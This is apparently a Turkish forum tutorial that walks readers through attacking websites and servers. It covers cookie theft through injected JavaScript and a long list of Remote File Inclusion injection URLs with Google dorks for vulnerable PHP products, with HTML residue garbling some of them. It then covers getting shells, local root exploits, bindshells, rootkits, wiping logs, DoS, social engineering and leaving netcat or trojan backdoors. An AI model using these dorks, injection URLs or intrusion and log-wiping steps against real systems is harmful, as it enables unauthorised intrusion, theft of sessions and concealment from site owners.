Acunetix Web Vulnerability Scanner
Retina Network Security Scanner
Satan / SAINT
N-Stealth
Gibi Scanner’ları kullanarak belli başlı açıkları ve açık portları öğrenebilirsiniz. Portların durumunu öğrendikten sonra gerekli işlemleri yapabilirsiniz.
Port taramadan sonra daha da detaya inmek isterseniz, hedefin işletim sistemini öğrenebilir, NetBios - CIFS/SMB taraması yapabilirsiniz. Ne kadar detaya inerseniz, eldeki veriler o kadar artar.
** Korunma Yöntemleri
Port Tarama yönteminden korunma bir IDS Sistemi ile engellenebilir. Veya IPTables’da Burst/Burst-Rate gibi bir limitasyonla engellenir. Şöyle ki; bir kaynak IP adresinden bir noktaya belirli bir "t" süresi dahilinde gelen SYN paketlerini sayan ve anormal sayıda aynı adrese connection kurmaya çalışan ya da birden fazla porta "t SYN "paketi gönderen IP
Adresleri otomatik olarak bloke edilir. Bu teknik engellemekteden daha ziyade artificial-intelligiance ile gerçekleştirilebilen bir savunma yöntemidir.
Port taramasından korunmak için kullanılan bir başka yöntem ise Firewall dediğimiz Güvenlik Duvarlarının kullanımıdır. Piyasada bulunan Firewall’ların çoğu Port taramalarını engelleyebilme özelliğine sahiptir. Hatta Nmap’in yaptığı gizli port taramalarını bile yakalayabilme kabiliyetine mevcut Firewall’lar vardır. Tavsiye edebileceğimiz Firewall’lar; hem güvenlik duvarı hem de saldırı tespit sistemi olan Zone Alarm (http://www.zonelabs.com/SPAN), IIS net firmasının Windows tabanlı saldırı tespit programı olarak yazdığı BlackICE ( http://www.blackice.iss.net/index.php/SPAN) ‘tır.
** CGI Saldırıları:
CGI (Common Gateway Interface), Web Servisleri ile bu servislerin dışındaki programlar arasında etkileşim (ortak çalışma) platformu oluşturmak için geliştirilmiş bir standarttır. CGI, aslında bir programdır. Web’in statik yapısına, HTML kodu içinden çağrılan CGI programları dinamik bir nitelik kazandırmaktadır. En popüler CGI uygulamalarından birisi Web Sayaçlarıdır. Web sayfalarını kaç kişinin ziyaret ettiğini saptayan küçük uygulamalar dış program olarak, bir web sayfası içinden çağrılabilir. CGI programları gerçek zamanlı çalışırlar. CGI’lerin önemli uygulama alanlarından birbaşkası da, web üzerinde doldurup gönderilen formlar üzerindeki bilgileri server tarafında değerlendirip kullanıcıya cevabı göndermektir.
CGI programları "çalıştırılabilir" kodlar olduğundan, bir başkası, kolaylıkla sizin sisteminizde program çalıştırabilir!! Bu yüzden, cgi kodları sistemde özel yerlerde tutulur ve o sistemin görevlilerinin denetimi altındadır.
CGI programları herhangi bir dilde yazılabilir : C, Fortran, Pascal, C++, Perl, Unix Shell, Visual Basic vb. CGI eğer C ya da Fortran gibi bir dilde yazılırsa, derlenmelidir. Perl ya da Unix Shell gibi ortamlar ise script ortamlardır ve bu şekilde yazılmış CGI Script’ler doğrudan çalıştırılabilir.
Özellikle Java ve JavaScript kullanımlarının yaygınlaşması, CGI’nin ilk zamanlardaki popüleritesini azaltmıştır. Öte yandan, CGI programları/scriptleri, bulundukları sistemde saklıdırlar ve çalıştıklarında o sistemin kaynaklarını kullanırlar. Oysa Java Appletleri ve JavaScript, doğrudan HTML döküman içinde onu çağıran web listeleyicisine gelirler ve burada icra edilebilirler. Bu da, Java Applet ve JavaScript’in CGI’ye göre önemli bir avantajıdır.
C.G.I Scriptler Web sayfalarının, serverdaki executable (açılabilir) durumda olan dosyaları kullanabilmesini sağlayan basit araçlardır. Uzun zamandan beri Web sitelerinde bazı işleri yürütmek için kullanılan CGI Scriptlerin güvenirliği ise tartışılır durumda. Çünkü basit çaptaki CGI Scriptler güvenlik protokolleri gözden geçirilmeden hazırlanmıştır ve sitenizde kullanmanız güvenliğinizi tehlikeye düşürebilir. Şöyle ki; CGI açıklarından faydalanarak hedef siteyi hack’leyebiliriz, hatta daha sonra sistemi re-hack etmek için backdoor dediğimiz arka kapıları bırakabiliriz.
** Cookie Saldırıları:
Cookie, web sunucusunun bilgisayarınızda sakladığı bir dosyadır. Çerezler sizi bir web sitesine döndüğünüzde tanıyabilmek için kullanılır.
Web siteleri sıklıkla sizin bilgisayarınıza çerezleri kaydeder ki siz tekrar bu siteye döndüğünüzde sunucuları sizi tanısın ve sizin daha önceden yaptığınız değişiklikleri ve özelleştirmeleri size gösterebilsin.
Siz kendi isteğinizle bilgilerinizi sunmadığınız sürece, bir çerez sadece aşağıdaki bilgileri taşıyabilir:
* Sizin daha önce siteyi ziyaret etmiş olduğunuzu
* Siteyi ziyaret tarihinizi
* Hangi sayfaları ziyaret ettiğinizi
* Siteyi son ziyaretinizde kullandığınız üye adını
Arkadaşlar eğer hedef sistemimiz, kodlanma sürecinde bir takım hatalar yapmışsa, sistemde bir takım zafiyetler ve güvenlik açıkları vardır demektir. Biz de bu sistem hatalarından faydalanarak sistemde kayıtlı olan cookie leri kullanabiliriz. bu sayede sistem yöneticisinin ID’iyle siteye login olabiliriz. Bu işi yapabilmek için sistem üzerinde JS kodları çalıştırarak ve cookie leri belirlediğimiz yere post edeceğiz. Son aşamada ise ele geçirdiğimiz cookie leri amacımıza göre kullanmak için cookie editorler ile derleyeceğiz.
** Remote File Inclusion
Remote File Inclusion (RFI), PHP ile kodlanmış sistemlerde, tecrübesiz webmaster’lar tarafından yapılan kodlama hatalarından faydalanılarak sisteme sızma yöntemidir. Bu saldırının verebileceği büyük zarar ise, RFI açığı olan site üzerinden, aynı serverda bulunan tüm sitelere sızılabilmesi. Bu yüzden bu güvenlik açığı, saldırganlar tarafından tercih edilen yöntemler arasına girmiştir.
Saldırganlar, RFI açığına rastladıkları sitede, açığı kullanarak web sayfa sunucusunun sağlamış olduğu diğer siteleri de sömürmek için ve server’daki diğer sitelere erişimi sağlayabilmek için Listpatch dediğimiz kod dizilimini kullanmaktadırlar. Listpatch’lerin upload edildiği URL’lerin, PHP ‘yi desteklemesi ve Listpacth içerisinde bulunan kodları compile etmemesi gerekiyor. Listpatch PHP destekli bir hosta (Örn:http://hometown.aol.com) yüklendikten sonra, Attacker için tüm şartlar hazırlanmış demektir. Örnek bir RFI açığı barındıran siter
http://www.example.com/path_to_qnews/q-news.php?id=/SPANSPAN style=font-SIZE: 10pt; COLOR: black; font-FAMILY: Verdana> color=#666666Attacker List Patch]
http://www.example.com/path_to_phpgreetz/content.php?content= [Attacker List Patch]
http://www.example.com/PATH/admin/plog-adminfunctions.php?configbasedir=Attacker ListPatch]
**
Example.Com -> RFI bulunduran site
[Attacker Listpatch] -> Saldırganın Listpatch’i upload ettiği link
Shell upload edilen linkten, server’daki siteler de sömürülebilir..
Örnek RFI Açıkları:
ACal <= 2.2.6 Remote File Inclusion Vulnerability
Google Keyword = intitle:"Login to Calendar"
RFI : http://URL/calendar_path/embed/day.php?path= Listpatch
*****************
ActualAnalyzer Server <= 8.23 (rf) Remote File Include Vulnerability
Google Keyword= "ActualScripts, Company. All rights reserved."
RFI :http://[URL]/direct.php?rf=Listpatch
http://[URL]/direct.php?rf= Listpatch
****************
Blend Portal <= 1.2.0 (phpBB Mod) Remote File Inclusion Vulnerability
RFI : http://URL/phpBB/blend_data/blend_common.php?phpbb_root_path= Listpatch
****************
CaLogic Calendars 1.2.2 (CLPath) Remote File Include Vulnerabilities
Google Keyword: CaLogic Calendars V1.2.2
RFI : http://URL/path/reconfig.php?GLOBALSCLPath]= Listpatch
http://URL/path/srxclr.php?GLOBALSCLPath]= Listpatch
****************
CBSMS Mambo Module <= 1.0 Remote File Include
RFI : http://URL/path/mod_cbsms_messages.php?mosConfig_absolute_path= Listpatch
****************
DoceboLMS <= 2.0.5 (help.php) Remote File Include Vulnerability
Google Keyword: Docebo LMS 2.05
RFI : http://URL/DOCEBO205/modules/credits/help.php?lang= Listpatch
****************
ezUserManager <= 1.6 Remote File Inclusion Vulnerability
Google Keyword: "powered by ezUserManager"
RFI : http://URL/path/ezusermanager_pwd_forgott.php?ezUserManager_Path= Listpatch
****************
GeekLog <= 1.4. Remote File Include
Google Keyword: “powered by geeklog”
RFI: http://URL/path/plugins/links/functions.inc?_ConFpath]= Listpatch
http://URL/path/plugins/polls/functions.inc?_ConFpath]= Listpatch
http://URL/path/plugins/spamx/BlackList.Examine.class.php?_ConFpath]= Listpatch
http://URL/path/plugins/spamx/DeleteComment.Action.class.php?_ConFpath]=Listpatch
http://URL/path/plugins/spamx/EditIPofURL.Admin.class.php?_ConFpath]=Listpatch
http://URL/path/plugins/spamx/MTBlackList.Examine.class.php?_ConFpath]= Listpatch
http://URL/path/plugins/spamx/MassDelete.Admin.class.php?_ConFpath]= Listpatch
http://URL/path/plugins/spamx/MailAdmin.Action.class.php?_ConFpath]=Listpatch
http://URL/path/plugins/spamx/MassDelTrackback.Admin.class.php?_ConFpath]=Listpatch
http://URL/path/plugins/spamx/EditHeader.Admin.class.php?_ConFpath]=Listpatch
http://URL/path/plugins/spamx/EditIP.Admin.class.php?_ConFpath]=Listpatch
http://URL/path/plugins/spamx/IPofUrl.Examine.class.php?_ConFpath color=#666666=Listpatch
http://URL/path/plugins/spamx/Import.Admin.class.php?_ConFpath]=Listpatch
http://URL/path/plugins/spamx/LogView.Admin.class.php?_ConFpath]=Listpatch
http://URL/path/plugins/staticpages/functions.inc?_ConFpath=Listpatch
** Veritabanına Yapılabilecek Saldırılar
Bu aşamada ise SQL Inj. Kullanıyoruz. SQL Inj. Çok detaylı bir konu olduğundan dolayı buraya yazmıyorum. Cyber-Warrior / Doküman modülünde gerekli bilgiyi bulabilirsiniz.
** E-Posta Saldırıları
E-Mail saldırılarıyla Domain Hi-Jacking yapabilirsiniz. Bunu daha önce yazdığım bir diyagramla göstereyim.
** Exploit Saldırıları
Bildiğimiz gibi Dos türü sistemlerde tek kullanıcı sistemi kullandığı için dosyalara erişme, değişebilme, okuyabilme yetkisine sahipti. Ancak işletim sistemlerinin gelişmesiyle beraber çok kullanıcılılığın başlamasıyla user’ların yetkisi de söz konusu olmaya başlamıştır. Her işletim sisteminde bir yönetici vardır ( Novell=Supervisor, Linux=Root, Win=Administrator.vs gibi] İşte bu tür sistemlerde yetkiyi artırmak için attacker lar exploit dediğimiz programları yazmış ve kullanmaya başlamışlardır.
Exploitler Local Exploit ve Remote exploit olmak üzere iki dalda incelenir. Remote exploit uzaktan erişim için yapılır ve sistemin user’ı olmanızı gerektirmez ama local exploitlerde sistem user’ı olmanız gerekir
Exploitlerin işleyişi:
Exploitler bir sistemde bulunan bug ( işletim sistemi üzerinde hatalı programlar yüzünden meydana gelen açıklara verilen addır. Sisteme kopyalanmış oyun, IRC veya mail programlarından bu açık oluşabilir) ları kullanarak root yetkilerini almamızı sağlar.Exploitler kaynak kodlar halindedir. Ve bu nedenle compile yani derlenmesi gerekir. Win altında çalışan derleyiciler vardır ama linux ’larda yapılmak üzere hazırlanmışlardır. Win altında compile etmek .h library hatası verir ama linux altında gcc compiler’ı kullanarak derlendiği zaman sorun vermeyecektir. Bunları compile etmek için shell ( Linux altında size verilen sınırla alan da denebilir. Putty aracılığıyla SSH Protokolü kullanarak bağlanabilirsiniz.) alarak gcc compiler’i kullanabilirsiniz.
Şimdi exploit kullanarak sisteme girme konularına değinlim.Arkadaşlar hedefimizi belirledikten sonra server info(rmation) sunu belirliyoruz. [ netcraft.com sitesini kullanabilirsiniz) Daha sonra bu infoya göre gerekli exploitleri temin ediyoruz. Shell hesabına değinmiştik , shell hesabı alıyoruz ve shell e login olup exploiti buraya çekiyor.
Eğer loglanmamak veya shell in silinmemesini istiyorsanız bindshell kuruyorsunuz.[HPBindshell gibi] Daha sonra server’da root oluyorsunuz ve rootkit te kurabilirsiniz.Şimdi siteye istediğimizi yapabiliriz. Ama çıktıktan sonra logları silmeyi unutmayın
Bindshell hakkında;
Arkadaşlar yazdığım dökümanlarda genelde bindshell in ne işe yaradığı ve kurulumu hakkında sorular ortaya çıkıyor bu sorunları kaldırmak için yazıyorum bunları.
Şimdi arkadaşlar biz bindshell i niye kuruyoruz? Buraya değinelim.
*Shell ile login olduktan sonra /home/ altında bir klasör oluşturur. Oysa bindshell i kurduğumuz zaman id olarak nobOdy gösterir bizi.
*Sisteme bindshell kurduğumuz zaman port bindshell olarak açılır ve buraya bağlanmamızı sağlar + exploit işe yararsa o sistemde shell hesabımız oluyor.[anonymous] Anonymous olarak girdiğimiz için/home altında klasör tutulmaz.
*Exploiti her zaman kullanmak zorunda kalmıyoruz(remote attack için)
Ayrıca o bug fixlenmişse aynı yol işe yaramayacaktır.Bindshell in kurulumuna gelince. ./bindshell yazıp kuruyoruz: )
Yaptıklarımız;
Sisteme remote attack düzenledik ve girdik. Ama şimdi ise locak attackdüzenleyip root olduk. Ve eğer sistemde bir hesabımız olursa artık local attack yapıyoruz.
Bir detay daha;
Sistemi ele geçirmek için;
mount/umount ile başlayalım.
Sistemde bin dizinine geliyoruz ve umount veya mount ismiyle bir dosya aratıyoruz.
Alternatif olarak;
find / -name umount -print -xdev komutunu da kullanabilirsiniz.
Dosyayı bulduğumuzu varsayıyorum ve özelliklerine bakmak için;
ls -al um* komutunu yazıyorum.
Bundaki amaç;
Eğer bu dosya SUID(kullanan kişi root) ise sistemi alma yetkimiz bile olacaktır.
zeber:/bin# ls -al um*
-rwsr-sr-x 1 root 8888 Aug 20 1998 umount
zeber:/bin#
Bingo ! Hallettik. Daha sonra (umount.c) yi(exploit) kullanarak sisteme compile edeceğiz.
** D.O.S
Denial Of Service (DOS) denilen sistem işleyişini engelleme yöntemi, belirli verilere erişim sağlamak yerine yetkili kullanıcıların uygulamalara erişimini engelleyerek bilgi sistemleri kaynaklarını kilitler. Bu Attack türü ile sistemin sunduğu hizmet veya hizmetleri tamamiyle engelleyebilir ve devre dışı bırakabilir. Dos Attack işleyiş olarak, Attacker’ın çok büyük oranda karışık ve karşılanamaz verileri hedef sistem ağlarına veya bilgisayarlarına doğrudan göndermesini baz alır. Dos Attack yöntemini tehlikeli kılan yön ise çok eski tip makineler ve modemler ile çok karmaşık ve sofistike sistemleri devre dışı bırakmaktır.
DOS attacklar sadece e-ticaret ve web servislerine yapılmamaktadır. Bu saldırılardan routerlar, sanal özel ağlar(VPN) ve IRC sunucularıda etkilenmektedirler. Bir servis sağlayıcının router’ına yapılacak bir saldırı sonucu network trafiği altüst olabilir ve sonucundada müşterilerinin bağlantıları kopabilir. Daha önce en büyük IRC ağlarından Undernet’in bazı önemli sunucuları DDoS yöntemiyle çökertilmişti. Saldırıda servis sağlayıcılar saniyede yüzlerce MB veri bombardımanına tutulmuştu. DOS Saldırılarını temel olarak üç başlık altına toplamak mümkündür.
ð Kısıtlı Kaynakların Tüketilmesi
Bilgisayarlar ve ağlar hizmet verebilmek için, bant genişliği, disk alanı ve hafıza, CPU Time, veri yapısı, diğer bilgisayarlar ve ağlara giriş olanağı gibi temel işlevlere ihtiyaç duyarlar. DOS Saldırılarının en genel görülen türü ise bu kaynaklara yapılanlardır.
Kaynak tüketme amacıyla yapılan DOS saldırılarında hedef sistemin process tablosu doldurulur, yukarda söylediğimiz gibi hizmet vermek için ihtiyaç duyulan bant genişliği, DOS saldırılarında tüketilir ve disk alanı büyük miktarda verilerle doldurulur.
Process tablosunun hedef olduğu saldırılarda kullanılan exploit, zincirleme bir reaksiyonla bir process’in diğerini başlatmasını sağlar. Bu sayede sistem kaynakları tüketilmeye ve sistemin verdiği hizmet engellenmeye, devre dışı bırakılmaya çalışılır.
Disk alanına yapılan saldırılarda kullanılan exploit ise çok büyük miktarda dosyalar oluşturarak, boş yer kalmasını engeller. Dolayısıyla yeni dosyaların oluşumu engellenir.
Bant genişliğinin hedef alındığı saldırılarda ise Attacker karmaşık yapıdaki paketleri hedef sistemin ağına gönderir. Paket sayısı yeterli seviyeye geldiği zaman bant genişliğinin tükenmesi ve ağ kaynaklarının kullanılması engellenmiş olur.
Kaynaklara yönelik saldırılara arasında Network Bağlantısı dediğimiz yöntem de vardır. Bu saldırıda amaç servis sağlayıcısının veya ağın haberleşmesini engellemektir. Bu saldırı tipine en uygun örnek SYN Seli dediğimiz saldırı türüdür.
SYN Seli, istemci bir bilgisayarın, başka bir bilgisayarla Tree way handshake dediğimiz üçlü el sıkışma mekanizmasını başlatması ve SYN paketini göndermesi, buna karşılık sunucu bilgisayardan ise SYN/ACK paketini alması ve son ACK paketini göndermemesi ile olur. Bu sayede sunucu tarafında açılmış fakat tamamlanmamış bir bağlantı söz konusu olacaktı. Bu bağlantı isteği uzun bir süre dolumuna kadar açık tutulacaktır.
Ve Attacker bu işlemi sürekli devam ettiği zaman belli bir noktadan sonra gelen yeni paketler sunucudan cevap alamayacak ve servis kilitlenecektir.
Ayrıca kullanıcı kaynaklarının, kullanıcının kendisine karşı kullanılmasına dayanan 5K saldırısı da Kaynaklara yönelik saldırılardandır. Bu yönteme örnek olarak bir UDP Port üzerinden gerçekleştirilen saldırıları verebiliriz. Bunun nedeni ise herhangi bir UDP servisi üzerinden bağlantı kurulduğu esnada, bağlantının kendi doğasından dolayı bu servis çok sayıda paket üretir. Bu saldırı türünde ise, bu paketler hedefe yönlendirilerek saldırı gerçekleştirilmiş olur.
ð Configuration Verilerinin Değiştirilmesi veya Silinmesi
Bu saldırı türünün kullanımı sistemin yeterli seviyede yönetilememesi veya şekillendirilememesine dayanır.
Attacker ise bu sistem hatasından faydalanarak, sistemin konfigürasyonuyla oynar ve sistemin konumuna veya türüne uygmayan verileri girerek sistemin işleyişini engellemeye, sisteme ulaşımı devre dışı bırakmaya çalışır. Mesela; Attacker’ın hedef bir Router ’ın bilgilerini değiştirmesi, hedef alınan ağın tamamının yok olmasına sebebiyet verir. Ayrıca WinNT sistemlerde Registry ’de yapılacak olan değişiklikler birçok servisin devre dışı bırakılmasına neden olabilir.
ð Fiziksel Değişiklikler veya Silmeler
Bu saldırı türü, fiziksel güvenlik kavramı içerisinde yer almasına rağmen, doğurduğu sonuçlar açısından DOS Saldırısıdır. Bu saldırı türü; yetkisiz bilgisayar girişine, kablo alt yapısı ve router fiziksel erişimine, enerji ve soğutma birimlerine ve sisteminiz için gerekli olan kritik birimlerin erişimine dayanmaktadır.
**D.D.O.S
Distributed Denial Of Service adını alan hizmet aksatmaya yönelik saldırı türünün DOS Attack’tan farkı, birden fazla noktadan tek bir merkeze yapılan sistem engelleme eylemidir. Şöyle ki; DOS saldırıları tek bir kaynaktan olup, herhangi hedef bir sisteme doğrudur. Ancak DDOS saldırılarında birden fazla makina tek bir hedefe focus olur.
Bahsettiğimiz makina sayısı yüzlerce hatta binlerce olabilir. DDOS saldırılarının tehlikeli olmasının nedeni de bundan kaynaklanır.
Attacker’lar DDOS saldırılarını gerçekleştirebilmek için, güvenlik açığı bulunan bilgisayarları, yani güvenliği tam anlamıyla sağlanmamış bir şirketin, internet sunucularının, özellikle üniversite kampüslerinin ve güvenliği sağlanmamış olan ev kullanıcılarının bilgisayarlarını kullanırlar. Attacker güvenlik bakımından zayıf olan bu
bilgisayarları kontrol altına alabilmek için "Zombi" denilen yazılımları kullanır. Attacker tarafından zombi yazılımlar, hedef bilgisayarlara enjekte edilir ve saldırı zamanı gelince vermiş olduğu komutla tüm bilgisayarlarla birlikte hedefe kilitlenir. Bu da sistemin akışının engellenmesine hatta devre dışı kalmasına bile sebebiyet verir. Örneğin, Yahoo! ve eBay gibi dev şirketlerin yayını 2000 yılının Şubat ayında devre dışı bırakıldı.
Attacker bu yöntemlerin hepsini kullandı ve sonuç alamadı.. İşte burada Sosyal Müh. Devreye giriyor.
** Social Engineering:
Sosyal mühendislik de, saldırganların sihirli değneğidir. Şöyle ki; korsanlar, teknolojiyi kendi menfaatlerine döndererek çıkar sahibi olmak için uyguladığı adımlara Sosyal Mühendislik diyebiliriz. Sosyal Mühendislik, saldırganın kullandığı en tehlikeli saldırı yöntemidir. Çünkü bu yöntemde, hedef insanlardır. Güvenlik sistemlerinin açığını yakalayan cracker’a karşı, patch’ler üretilerek geçişi engellenebilir. Ama hedef insan olunca, iş çok daha da zorlaşabilmektedir.
Saldırganlar, Sosyal Mühendislikte, insanların yardımcı olma isteği ve insanların güveninden yararlanırlar. Güvenlik zincirinin en zayıf halkası insanlardır. Bir sistemin güvenliği ne kadar iyi olursa olsun, o sistemin güvenliğinden sorumlu kişiler yeterince eğitilmezse, sistemin saldırgana yenik düşmesi muhtemeldir. Basit bir örnekle konuya ışık tutalım; Şirketinizin bilgi işlem departmanına bir telefon geliyor ve çalışanlarınızdan birinin adını ve birtakım bilgilerini veren bir kişi, e-posta adresinin şifresini unuttuğunu söylüyor. Ve sizden e-mail’in şifresini resetlemenizi rica ediyor. Ayrıca çok önemli bir proje için söz konusu olan e-maili kullanarak acil bir mail göndermesi gerektiğini eklemeyi de unutmuyor. Teknik destekten sorumlu olan eleman, şirketin menfaatini düşünerek, şifreyi resetliyor. Ve belki de iyi bir şey yaptığını sanıyor. Ama şirketinize ait bir e-mail saldırganın eline geçti bile. Saldırganımız, bu e-mail ile irketinizin kritik verilerini içeren e-posta’ları okuyabilir, şirketiniz adına e-posta gönderebilir..vs
Bu işlemlerden sonra sisteme girdiğimizi varsayıyorum. Sisteme girdik ama daha sonrası için de lazım olabilir diyerekten sistemde kalıcılığı sağlamak lazım. Bunun için de sisteme backdoors dediğimiz arka kapıları bırakıyoruz.
Kullanabileceğimiz araçlar;
Trojanlar
Netcat
Remote.exe / Rcmd.exe
Rookitler
Sistem Zamanlandırma
Faydalanılan Kaynaklar:
Arama Motorları -> Meb.Gov.tr
CGI -> Bilisimterimleri.Com
Port Tarama -> Yazacağım kitaptan bir kesittir.
D.O.S & D.D.O.S -> Yazacağım kitaptan bir kesittir.